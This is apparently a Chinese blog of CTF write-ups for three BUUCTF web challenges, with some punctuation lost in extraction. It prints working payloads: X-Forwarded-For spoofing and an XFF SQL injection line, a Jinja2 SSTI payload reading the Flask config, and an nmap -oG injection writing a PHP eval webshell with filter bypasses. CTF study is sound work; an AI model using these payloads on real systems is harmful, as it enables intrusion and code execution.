个人网站备案 流程,南山区网站建设,北京网站设计策划公司,医疗网站建站需求[MRCTF2020]PYWebsite1 进入环境#xff0c;页面就提示要购买flag#xff0c;不要想着购买#xff0c;因为扫码后提示的是一个文本
“拜托#xff01;你不会真的想PYflag吧#xff0c;这样可是违规的#xff01;再好好分析一下界面代码吧” 查看网页源码#xff0c;发现…[MRCTF2020]PYWebsite1 进入环境页面就提示要购买flag不要想着购买因为扫码后提示的是一个文本
“拜托你不会真的想PYflag吧这样可是违规的再好好分析一下界面代码吧” 查看网页源码发现flag文件 访问后得到该页面查看源码也没有有用的信息 提示在后端验证了IP还提示了需要购买者或自己IP了解到这题的考点是X-Forward-For果断抓包添加绕过IP限制 X-Forwarded-For:127.0.0.1 发送后得到该页面并查看源码也可以得到flag 笔记
X-Forwarded-For(XFF)
XFF是header请求头中的一个参数 是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 代表了HTTP的请求端真实的IP。 X-Forwarded-For: client1, proxy1, proxy2, proxy3 //浏览器IP第一个代理服务器第二个三个四个等等 利用方式
1.绕过服务器过滤
XFF漏洞也称为IP欺骗。 有些服务器通过XFF头判断是否是本地服务器当判断为本地服务器时才能访问相关内容。 X-Forwarded-For: 127.0.0.1 X-Forwarded-For: 192.168.1.1 修改XFF头的信息即可绕过服务器的过滤。 2.XFF导致sql注入
XFF注入和SQL的header头部注入原理一样服务器端会对XFF信息进行记录 但没有进行过滤处理就容易导致sql注入的产生 X-Forwarded-for: 127.0.0.1 and 11# 然后进一步利用sql注入进行渗透测试。 伪造XFF头绕过服务器IP过滤
IP伪造
TCP/IP层面的IP伪造很难实现因为更改后很难实现正常的TCP通信但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造
XFF字段
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说就是浏览器访问网站的IP。一般格式 X-Forwarded-For: client1, proxy1, proxy2, proxy3 左边第一个是浏览器IP依次往右为第一个代理服务器IP,第二个第三个使用逗号空格进行分割
伪造方式
可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数
参考https://www.cnblogs.com/dubhe-/p/9987227.html
X-Forwarded-For - HTTP | MDN
X-Forwarded-For 和 X-Real-IP 的区别 - 猪啊美 - 博客园
[WesternCTF2018]shrine1
进入环境看到这个页面没有什么思路但看到import看着有点想python代码 查看源码 将代码导入pycharm运行出现报错 接着不知道要怎么进行下去了参考别人的wp渗透学习-CTF篇-web-BUUCTF_ctf渗透题_dfzy$_$的博客-CSDN博客
[WesternCTF2018]shrine-CSDN博客
先了解SSTI
SSTI模板注入
SSTI 就是服务器端模板注入Server-Side Template Injection
当前使用的一些框架比如python的flaskphp的tpjava的spring等一般都采用成熟的的MVC的模式用户的输入先进入Controller控制器然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断数据库存取最后把结果返回给View视图层经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后未经任何处理就将其作为 Web 应用模板内容的一部分模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题SSTI 不属于任何一种语言沙盒绕过也不是沙盒绕过只是由于模板引擎发现了很大的安全漏洞然后模板引擎设计出来的一种防护机制不允许使用没有定义或者声明的模块这适用于所有的模板引擎。
import flask
import osapp flask.Flask(__name__)app.config[FLAG] os.environ.pop(FLAG)app.route(/)
def index():return open(__file__).read()app.route(/shrine/path:shrine)
def shrine(shrine):def safe_jinja(s):s s.replace((, ).replace(), )blacklist [config, self]return .join([{{% set {}None%}}.format(c) for c in blacklist]) sreturn flask.render_template_string(safe_jinja(shrine))if __name__ __main__:app.run(debugTrue) 我们看到第一部分这里有个函数flask.render_template_string 这个函数就是一个模板的调用函数。 当我们在ctf中看到这个函数时就可以联想到这很有可能是一道SSTI的题。 这里会对我们传入的参数进行过滤也就是说会将传入的参数中的进行过滤掉防止我们调用特殊变量或者python内置的函数等等。 4 这里代码将__name__这个系统变量传入到对应的app变量中再调用app变量里的config参数调出FLAG的值。
在Flask中有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。
且本关由于对输入的参数进行了过滤 因此我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。因为这个函数可以省略所以可用
在分析了传入的pyload的构成后我们还需要看看在哪个位置处存在注入点 在代码中的这一部分有一个app.route 这里就是指对应的注入的路径 开始注入
构造payload /shrine/{{url_for.__globals__}} globals 会列出当前的所有的变量。 但是根据题目我们需要找到当前使用的变量也就是flask的变量。这里已经在图中标识了
然后读取当前命名空间中的对应变量信息当前在flask模板下里的config /shrine/{{url_for.__globals__[current_app].config}} 看到flag 但是呢我们还可以用如下payload直接读取 /shrine/{{url_for.__globals__[current_app].config[FLAG]}} 知识点SSTI模板注入
一、初识SSTI
1、什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection)实际上也是一种注入漏洞。
可能SSTI对大家而言不是很熟悉但是相信大家很熟悉SQL注入。实际上这两者的思路都是相同的因此可以类比来分析。
2、引发SSTI的真正原因
render_template渲染函数的问题
渲染函数在渲染的时候往往对用户输入的变量不做渲染。
也就是说例如{{}}在Jinja2中作为变量包裹标识符Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{11}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
参考服务器端模板注入(SSTI)详解_江西省遂川县常驻深圳大使的博客-CSDN博客
SSTI模板注入总结-CSDN博客
flask之ssti模版注入从零到入门 - 先知社区
[网鼎杯 2020 朱雀组]Nmap1
进入环境要求输入主机或IP进行扫描 输入127.0.0.1尝试一下 但是到这里就不知道要如何操作了
参考web buuctf [网鼎杯 2020 朱雀组]Nmap1_半杯雨水敬过客的博客-CSDN博客
这道题用到namp的命令别人的wp解释这道题是namp注入但具体的namp注入是什么也不清楚
利用NMAP里的-oG命令实现代码的写入那我们这里就可以尝试构造payload来利用‘拼接写入我们想要的shell文件
这里要传入一句话木马类似于文件上传但这里多了namp的命令的使用
payload ?php eval($_POST[cmd]);? -oG zhuque.php 注入之后发现存在过滤fuzz,过滤了php
1利用?来代替?php进行绕过 2利用phtml来代替shell.php的文件后缀
payload ? eval($_POST[cmd]);? -oG zhuque.phtml 访问文件查看是否上传成功,结果上传成功 用蚁剑连接查看文件 找到flag namp参考【精选】Namp使用_simple11618的博客-CSDN博客